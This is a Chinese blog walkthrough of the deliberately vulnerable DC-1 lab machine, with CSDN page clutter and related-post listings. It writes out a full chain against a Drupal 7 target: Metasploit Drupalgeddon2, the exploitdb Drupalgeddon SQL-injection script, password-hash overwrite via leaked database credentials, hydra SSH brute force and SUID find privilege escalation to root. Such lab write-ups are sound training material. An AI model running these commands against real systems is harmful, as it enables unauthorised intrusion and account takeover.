DC-1靶机渗透笔记

已于 2023-08-08 17:22:34 修改
阅读量172 收藏 1
点赞数 1
分类专栏： 靶机笔记 文章标签： 安全 网络安全 linux windows 网络
于 2023-08-08 17:21:23 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_60600840/article/details/132160166
版权

信息收集阶段

在拿到靶机并且安装在VMware之后并没有账号密码登录，所以无法使用ifconfig获取IP。
所以目前该做的应该是获取当前靶机的IP

1.1 收集IP信息

使用命令：nmap -T4 192.168.137.0/24 扫描当前网络的C段并且做一个服务探测

在这里插入图片描述

或者使用：arp-scan -l 主机发现，发现同一个C段下存活的主机

在这里插入图片描述

通过扫描得知靶机的IP为192.168.137.171并且开放了三个服务ssh、http、rpcbind

1.2 识别CMS

因为开放了Web站点，所以可以收集当前Web用的是什么CMS系统搭建，查询是否有关于该CMS的漏洞利用方式。

使用命令：cmseek -v -u http://192.168.137.171 查询当前Web站点的CMS系统

在这里插入图片描述

或者使用：whatweb http://192.168.137.171

在这里插入图片描述

能收集到这些信息：Apache：2.2.22、CMS：Drupal 7

漏洞利用阶段

开放的服务不多，不同于metasploitable2，所以可能入手点在Web站点中

访问站点：192.168.137.171 出现一个登录框

可能需要登录，但是不知道账密。下方存在一个注册和修改密码的按钮。

实测注册的按钮好像没啥用。由于没有账号或者密码，所以修改密码按钮好像也没啥用… …

由于我们上方找到了CMS：Drupal 7获取到这点相关信息可以在msf搜索是否存在相关的利用模块

Flag-1

- 为何是使用 drupal_drupalgeddon2 这个模块，而不是其他的模块呢？

- Drupalgeddon2是一个Drupal 7、Drupal 8中的一个严重漏洞，被编号为CVE-2018-7600。
  它允许在攻击者在未授权的情况下执行恶意的代码。
  
- 而 drupal_drupalgeddon2 这个模块就是利用的该漏洞，它可以通过特制的请求利用受影响的 Drupal 7 网站，
  执行远程代码并获取对目标系统的控制权。

- 具体来说，是Drupal中的update.php中存在漏洞，允许攻击者在请求中注入特定的数据来执行php的任意代码
  而攻击者构造的恶意请求中这些代码会被解释并且执行。

msf中存在一个Drupal 7、Drupal 8可利用的漏洞模块

进入msf查询相关漏洞模块

search drupal

在这里插入图片描述

use exploit/unix/webapp/drupal_drupalgeddon2：使用模块
set rhosts 192.168.137.171：设置目标机IP
run：运行
shell：切换到靶机原生命令行
python -c 'import pty;pty.spawn("/bin/bash")':提供更正常的交互式体验
cd /var/www
cat flag1.txt

在这里插入图片描述

Every good CMS needs a config file - and so do you.：任何的CMS都需要一个好的配置文件 - 你也是

Flag-2

从提示得知，我们需要一个配置文件。

从百度得知，Drupal的默认配置文件位置在site/default/settings.php中

在这里插入图片描述

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?：暴力和字典攻击并不是获得访问权限的唯一途径（你需要访问权限）。你能用这些凭据做什么？

Flag-3

目前好像对Flag-2的提示毫无头绪，但是在Flag-2的下方出现了一段关于SQL的配置信息：

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

在shell窗口内输入命令：mysql -udbuser -pR0ck3t进入数据库之后输入命令：
show databases;
use drupaldb;
show tables;
select * from users

在这里插入图片描述

获取到了admin的账号以及密码，但是很明显经过了加密，并且可能采取了加盐的手段。

账号：admin | 密码： $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

尝试爆破这段加密的密文，使用暴力破解工具：hash-identifier，输入密文：

在这里插入图片描述

出现 Not Found 提示，说明爆破失败。验证了Flag-2处给的提示。

可能需要使用相同的加密手段来替换掉数据库中的密文。

方法1：

从根目录搜索所有有关于password的文件：find / -name *password*

在这里插入图片描述

出现一个password-hash.sh文件，有可能就是加密文件

输入命令：scripts/password-hash.sh 123456

获得加密之后的数据：在这里插入图片描述

进入MySQL替换admin的密码，输入命令：update users set pass=’$S$DA6bVJaSrS8my7Meq7LWe0yjPJa49IGmlcKqyw3V4vHSYlmW27c4‘ where uid = 1;

在这里插入图片描述

进入网页，在用户名处输入：admin，在密码处输入：123456成功登录

方法2：

用db_nmap扫描80端口的时候出现了一个CVE编号：CVE-2014-3704

命令为：db_nmap -T4 --script=vuln -p 22,80,111 192.168.137.171

- 该CVE编号是Drupal CMS中的一个漏洞，通常称为"Drupalgeddon"，它是Drupal 7.x - 7.32版本中存在的SQL注入漏洞。

- 而在Kali的exploitdb中有一个可以利用的脚本

- /usr/share/exploitdb/exploits/php/webapps/34992.py

使用命令：python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.137.171 -u admin2 -p admin2

可以直接绕过数据库的加密

在这里插入图片描述

成功登录Web站点之后可以在Dashboard和Content中查看到Flag-3

在这里插入图片描述
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.：特殊的排序将帮助查找密码，但您需要执行该命令才能找到阴影中的内容。

可能是提示我们需要去查找密码。

Flag-4

在靶机的命令行内输入命令：cat /etc/passwd

在这里插入图片描述

方法1：

由于存在一个flag4用户，所以可以从cd /home/flag4这个文件夹下/

使用命令：ls -l发现存在flag。

在这里插入图片描述

Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?：你能用同样的方法在根目录中查找或访问标志吗？可能但也许这并没有那么容易。或者可能是这样？

方法2：

除了上述方法之外，还可以使用爆破密码的方式，通过flag4用户的密码，使用ssh来登录。

使用命令：hydra -l flag4 -P 字典.txt ssh://192.168.137.171

在这里插入图片描述

获取密码：orange

使用命令连接：ssh flag4@192.168.137.171

在这里插入图片描述

Flag-5

通过flag4可以得知，题意应该是让我们进行一个提权的操作，flag5有可能藏在root用户的根目录下。

提权的方式有以下几种：

  1. Linux内核漏洞
  2. SUDO提权
  3. SUID提权
  4. 第三方服务提权（这些第三方应用可能是本身的配置不当，也有可能造成提权）
  5. 辅助工具（这些工具可以分析当前Linux内核的漏洞，并且在漏洞库中查询可以利用的相关exp，但是不一定能够使用）

使用SUID提权

该提权方式也是因为配置不当造成的，SUID = Set UID，以程序所有者的身份去运行程序

查询所有出现s权限的文件：

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec Is -ldb {}\;

在这里插入图片描述

使用find提权

使用命令：find . -type d -execdir /bin/sh \; 获取一个有root权限的shell

whoami：查看当前用户
cd /root：切换到root的工作目录
ls -l：查看目录下所有的文件

在这里插入图片描述

cat thefinalflag.txt：查看flag文件

Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey

完结撒花

作为一个对漏洞利用方式不是很懂的小菜，在做当前靶机渗透的时候遇到了很多困难，但是还是通过查询各位师傅的博客文章得到了解决
在做靶机渗透的时候虽然有很多思路，但是不知道该如何利用，还是有很多需要练习的地方… …

Estrellam
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
DC-1靶机教程
qq_42553928的博客
04-07 5227
1.明确目标 DC：1 下载地址 https ://download.vulnhub.com/dc/DC-1.zip 2.信息收集 2.1被动信息收集 2.1.1DC：1网页信息收集 https://www.vulnhub.com/entry/dc-1,292/ Description Back to the Top DESCRIPTION DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
DC-1靶机初学习
qq_58672257的博客
12-12 377
/scripts/password-hash.sh 123456（查看123456的hash）default.settings.php files settings.php(配置文件)cat /user/share/john/password.lst(kali字典存放路径)（\G将查找到的变成纵向）信息收集---漏洞探测---验证---爆破---提权---登录。返回www-data@DC-1:/var/www$漏洞，cms版本，----信息。use 0-7(任意一个)发现users(高危表名)
DC-1靶机的渗透学习
里丘~班诺的小屋
08-31 2170
一、靶机的环境搭配 攻击机(KALI)：192.168.226.129 靶机(DC-1): 192.168.226.131(未知) 靶机地址:https://www.vulnhub.com/entry/dc-1,292/ 二、战前准备 要求：攻击机和靶机在同一网段下，使用NAT模式 1、找到kali的IP地址，用nmap扫描同一网段找到靶机的IP 一般扫描出来的在中间而129是kali的，所以可以确定的是靶机的地址是192.168...
DC系列：1 （DC-1靶机，初级渗透详细教程）
jrdh的博客
11-29 7488
DC-1靶机渗透环境搭建详情描述使用工具一：信息收集基础信息查询0x01 查看存活主机0x02 查看开放端口0x03 查看端口服务0x04 扫描网站根目录及指纹信息0x05 访问开放网页二：漏洞发现msf漏洞查询0x01 启动msf0x02 flag10x03 flag20x04 查询数据库信息三：漏洞利用ssh远程连接漏洞0x01 破解密码加密0x02 flag30x03 爆破flag4用户密码0x04 ssh远程连接0x05 flag4四：提权总结 find提权详解 find详解. 环境搭建 详情
渗透DC-1靶机笔记
qq_43571759的博客
03-08 1395
网上有许多教程不完整而且不怎么细腻，对我们小白很不友好，今天刷完这个靶机马上拿小本本记下来。 vulnhub是一个特别好的渗透测试实战网站，里面有许多靶机可以下载，也是小白必刷靶机，比如我，下载地址： https://www.vulnhub.com/entry/dc-1-1,292/ 所需环境和网络要求： VMware kali vulnhub-DC-1靶机 两台主机都设置为nat模式 第一步要干...
DC-1靶机渗透
weixin_45349299的博客
01-03 318
title: DC-1靶机渗透详解tags: DC系列靶机categories: 学习笔记。
Vulnhub靶机渗透测试 DC-1靶机
03-05
Vulnhub靶机渗透测试 DC-1靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
DC-1靶机渗透（教程以及思路）
菜菜的博客
10-20 2903
一般来说这样的端口，我会先从80端口开始，看是否存在登录页面，是否存在弱口令，是否存在sql注入，dirb遍历目录，查看是否有可疑的目录，使用指纹识别查看cms版本是否存在漏洞。我这里因为靶机出了点问题，连不进去了，一般来说那个网站的密码都会是在库里面，有一个name，还有一个password，用来进行登入网站后台。因为是Linux那么我们接下来输入的命令也得是Linux的，ls查看一下有什么文件，发现有一个flag1.txt，查看。发现开启了4个端口，分别是22，80，111，45186。
DNSSec：网络安全的守护者
jiamisoft的博客
07-12 434
DNSSec是一种安全协议，它为DNS查询和响应过程提供了额外的加密层。通过使用公钥基础设施（PKI）和数字签名，DNSSec能够验证DNS响应的真实性，从而防止DNS欺骗攻击，即攻击者将用户重定向到恶意网站的行为。
权威认可 | 海云安开发者安全助手系统通过信通院支撑产品功能认证并荣获信通院2024年数据安全体系建设优秀案例
最新发布
haiyunan的博客
07-16 302
在“某省烟草数据安全体系建设规划”项目实践中，海云安基于双生命周期融合与零信任架构的总体思路，立足业务基于场景，通过建设技术、管理、运营三大体系，为公司构建了覆盖数据生命周期、应用生命周期的“数盾”，解决数据安全合规、风险管控、业务影响控制等问题，从而为公司打造一个安全可靠的数据使用环境，助力公司持续稳健发展。通过实施数据安全零信任架构，企业将显著提高数据安全性，减少数据泄露和网络攻击的风险，增强对复杂安全环境的应对能力，实现持续的安全保护和合规运营。
医疗健康信息的安全挑战与隐私保护最佳实践
2301_79955948的博客
07-12 1370
随着医疗信息化的发展，医疗健康数据呈现出爆炸式的增长，医院信息系统、电子病历、健康管理等产生了海量的数据，这些数据的管理和保护成为了巨大的挑战。最新的研究和政策动态显示，国家卫生健康委员会等政府部门正在积极推动医疗健康信息安全管理规范的制定和实施，以加强数据安全和个人健康医疗数据相关的隐私保护。隐私保护的最佳实践包括建立完善的数据安全管理制度、规范医疗健康数据的收集、存储和传输过程，防止数据泄露。这些要求和措施有助于确保医疗健康信息的安全性和个人隐私的保护，减少信息泄露的风险，并促进医疗行业的健康发展。
安全防御-用户认证综合实验
weixin_69863399的博客
07-12 466
生产区访问DMZ需要进行protal认证，设立生产区用户架构，至少包含三个部门，每个部门三个用户，用户统一密码openlab@123，首次登录需要修改密码，用户过期时间设定为10天，用户不允许多人使用。游客区人员不固定，不允许访问DMZ区和生产区，统一使用Guest用户登录，密码Admin@123，游客仅有访问公司门户网站和上网的权利，门户网站地址10.0.3.10。做相关的认证策略，研发部IP地址（10.0.1.20）固定，访问DMZ区使用匿名认证，研发部需要用户绑定IP地址，访问DMZ区使用免认证；
车载视频监控管理方案：无人驾驶出租车安全出行的保障
TSINGSEE青犀视频官方技术博客
07-12 857
为了确保数据的安全性和可靠性，本方案采用云存储技术，将车辆视频数据和相关信息存储在云端。
智能车存在网络安全隐患，如何应设计出更好的安全防护技术？
tigerman20201的博客
07-13 284
然而，高度的网络化和智能化也使智能车面临着严峻的网络安全挑战，如远程攻击、数据泄露和恶意控制等。未来，随着技术的不断发展，应持续加强对智能车网络安全的研究和创新，以应对不断变化的安全威胁。摘要：随着智能车技术的迅速发展，车辆的网络连接性不断增强，然而这也带来了诸多网络安全隐患。本文深入探讨了智能车面临的网络安全威胁，并提出了一系列创新的安全防护技术设计，旨在为智能车的安全运行提供更可靠的保障。黑客可以通过公共网络对智能车的通信系统进行攻击，干扰车辆的正常运行，甚至获取车辆的控制权。
渗透DC-1靶机设计思路
05-24
设计思路： 1. 确定目标：首先需要确定渗透的目标，即DC-1靶机。 2. 收集信息：收集关于DC-1的信息，如IP地址、开放端口、操作系统等。可以使用工具如nmap、whois、dnsrecon等进行信息搜集。 3. 扫描漏洞：使用漏洞扫描工具如Nessus、OpenVAS等扫描DC-1，寻找漏洞。 4. 渗透攻击：根据扫描结果，利用漏洞进行攻击。可以使用一些常见的攻击手段，如SQL注入、XSS、文件包含、远程代码执行等。 5. 提升权限：在攻击成功后，需要提升自己的权限，获取更高的权限。可以使用一些提权工具，如Metasploit。 6. 横向移动：在获得了足够的权限后，可以尝试横向移动，进一步渗透网络。 7. 维持访问：在渗透成功后，需要维持访问，以便长期监控目标。 8. 清理痕迹：在攻击结束后，需要清理自己留下的痕迹，以免被发现。 以上是一个基本的渗透DC-1靶机的设计思路，但是具体实施过程中需要根据实际情况进行调整和优化。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值